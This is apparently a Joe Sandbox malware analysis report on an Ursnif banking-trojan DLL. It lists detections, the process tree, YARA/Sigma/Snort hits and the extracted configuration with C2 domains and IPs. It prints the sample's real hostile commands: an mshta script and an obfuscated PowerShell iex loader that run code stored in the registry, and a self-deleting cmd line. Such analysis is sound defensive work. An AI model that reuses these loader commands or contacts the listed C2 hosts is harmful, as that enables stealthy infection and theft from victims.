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Windows Analysis Report
626a983c091a8.tiff.dll

Overview

General Information

Sample Name:	626a983c091a8.tiff.dll
Analysis ID:	617384
MD5:	388aa15c4d1a96534e7ca5587942fa0a
SHA1:	a88e07643c07c8f75845c82c19cd928355d441b2
SHA256:	abc6dfca9ad106cf41da3b6309a15e2a761991d2fad41662211b1afb1c2b0973
Tags:	dllgozi_ifsbursnif3000
Infos:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected Ursnif

System process connects to network (likely due to code injection or exploit)

Snort IDS alert for network traffic

Sigma detected: Windows Shell File Write to Suspicious Folder

Maps a DLL or memory area into another process

Writes to foreign memory regions

Changes memory attributes in foreign processes to executable or writable

Machine Learning detection for sample

Allocates memory in foreign processes

Uses ping.exe to check the status of other devices and networks

Self deletion via cmd delete

Sigma detected: MSHTA Spawning Windows Shell

Uses ping.exe to sleep

Injects code into the Windows Explorer (explorer.exe)

Sigma detected: Suspicious Call by Ordinal

Modifies the context of a thread in another process (thread injection)

Sigma detected: Mshta Spawning Windows Shell

Creates a thread in another existing process (thread injection)

Disables SPDY (HTTP compression, likely to perform web injects)

Writes registry values via WMI

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Searches for the Microsoft Outlook file path

PE file contains strange resources

Drops PE files

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Sigma detected: Suspicious Csc.exe Source File Folder

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Compiles C# or VB.Net code

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 3332 cmdline: loaddll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 2012 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 4956 cmdline: rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

control.exe (PID: 6784 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)

mshta.exe (PID: 6312 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ssif='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ssif).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)

powershell.exe (PID: 6476 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

csc.exe (PID: 6648 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\o1ulwvct\o1ulwvct.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)

cvtres.exe (PID: 6732 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9868.tmp" "c:\Users\user\AppData\Local\Temp\o1ulwvct\CSC9597862635B74071BA42F3284427E86E.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)

csc.exe (PID: 6756 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tn4ral5l\tn4ral5l.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)

cvtres.exe (PID: 6792 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA96F.tmp" "c:\Users\user\AppData\Local\Temp\tn4ral5l\CSC7E5DF85510FF49B49113DD9CBF81BD4.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)

explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

cmd.exe (PID: 6244 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\626a983c091a8.tiff.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PING.EXE (PID: 6096 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)

RuntimeBroker.exe (PID: 4440 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "+FflIsIAzGiUM0s27tuLbRAwZqYoqmNsTeF7rxG/Mwp38QqxThLLXpreOfEHBItOJka6enf+5fp9fT9wIfjoNQYondBMg0CXVUaaXZmXPw7dFUCTuwl/1fJ8Te0BDO4/e0D+MT+n6Ovzq2MwCzSIm7W4ZiEEkdm60WNeCsFwnx1f78Cv9j4wv9nLP3bFRx9OkdD66cn4ATsp0wULyGpOtly6uJj4gNSoIxbBBQeCFBEVhnqZ/KZ3/SbtJUJ3X757TgS02V8uV2DJldCmSy1UGDylgn9Cs1EUm4RQgf1fFSmTn7kcnOpsq0753wd2/m9Jbas3/WEwOA88vTsSUvhPp7zr8Ltl9tao4hrJvcTrul8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "hopexmder.net", "94.140.114.144", "94.140.112.49", "94.140.112.121"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, calc no*ad *terminal* *debug*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000019.00000000.368081484.0000000000D70000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.253552130.0000000005008000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000014.00000003.369171366.000001ED7862C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000002.418912961.0000000004C8F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.302561550.0000000004F0A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.302666274.0000000005008000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.253266400.0000000005008000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.253321859.0000000005008000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000019.00000000.369488668.0000000000D70000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.253151966.0000000005008000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000019.00000003.371395758.000001AD5FCAC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.253379151.0000000005008000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.417250518.0000000004949000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.253434533.0000000005008000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000019.00000003.371299641.000001AD5FCAC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.253537192.0000000005008000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.253077310.0000000005008000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000002.420493042.0000000005930000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000002.00000003.356868757.0000000005F38000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.303583479.0000000004E0C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.299890111.0000000005008000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.302615586.0000000004F89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000019.00000000.370698760.0000000000D70000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 4956	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: powershell.exe PID: 6476	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: control.exe PID: 6784	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 21 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.rundll32.exe.2ca0000.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.49494a0.10.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.49494a0.10.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.4f0a4a0.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.4f0a4a0.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.4f894a0.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.3.rundll32.exe.4fb6b40.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Windows Shell File Write to Suspicious Folder

Source: File created

Author: Florian Roth: Data: EventID: 11, Image: C:\Windows\System32\mshta.exe, ProcessId: 6312, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Caches

Sigma detected: MSHTA Spawning Windows Shell

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ssif='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ssif).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6312, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6476, ProcessName: powershell.exe

Sigma detected: Suspicious Call by Ordinal

Source: Process started

Author: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2012, ParentProcessName: cmd.exe, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\626a983c091a8.tiff.dll",#1, ProcessId: 4956, ProcessName: rundll32.exe

Sigma detected: Mshta Spawning Windows Shell

Source: Process started

Author: Florian Roth: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ssif='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ssif).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6312, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6476, ProcessName: powershell.exe

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\o1ulwvct\o1ulwvct.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\o1ulwvct\o1ulwvct.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6476, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\o1ulwvct\o1ulwvct.cmdline, ProcessId: 6648, ProcessName: csc.exe

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6476, TargetFilename: C:\Users\user\AppData\Local\Temp\o1ulwvct\o1ulwvct.cmdline

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ssif='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ssif).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6312, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6476, ProcessName: powershell.exe

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132956272794820055.6476.DefaultAppDomain.powershell

Source: Process started

Author: frack113: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jxrvwmqrt -value gp; new-alias -name xfmkywxojr -value iex; xfmkywxojr ([System.Text.Encoding]::ASCII.GetString((jxrvwmqrt "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6476, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 6488, ProcessName: conhost.exe

Snort Signatures

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 94.140.115.8

Timestamp:	04/28/22-15:47:50.266267 04/28/22-15:47:50.266267
SID:	2033203
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 94.140.115.8

Timestamp:	04/28/22-15:47:52.636763 04/28/22-15:47:52.636763
SID:	2033203
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.4 - Destination IP: 94.140.115.8

Timestamp:	04/28/22-15:47:51.337694 04/28/22-15:47:51.337694
SID:	2033203
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000002

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report
626a983c091a8.tiff.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report 626a983c091a8.tiff.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Windows Analysis Report
626a983c091a8.tiff.dll